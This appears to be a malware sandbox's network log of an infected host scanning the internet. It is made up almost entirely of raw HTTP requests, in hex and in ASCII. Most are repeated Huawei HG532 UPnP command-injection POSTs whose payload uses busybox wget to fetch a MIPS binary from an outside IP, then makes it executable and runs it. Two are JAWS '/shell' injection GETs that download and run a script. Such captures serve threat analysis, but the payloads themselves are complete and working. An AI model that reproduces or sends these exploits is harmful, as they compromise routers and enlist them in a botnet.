Jan 2, 2024 06:24:00.144705057 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:06.287846088 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:18.318149090 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:42.634757996 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:31.779814005 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	45826	20.47.19.114	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:56.133253098 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:56.376698017 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 02 Jan 2024 05:23:55 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	45120	109.168.109.229	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:56.151963949 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:56.414397001 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 02 Jan 2024 05:23:56 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.23	40630	156.235.97.230	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:56.194246054 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:23:57.073141098 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
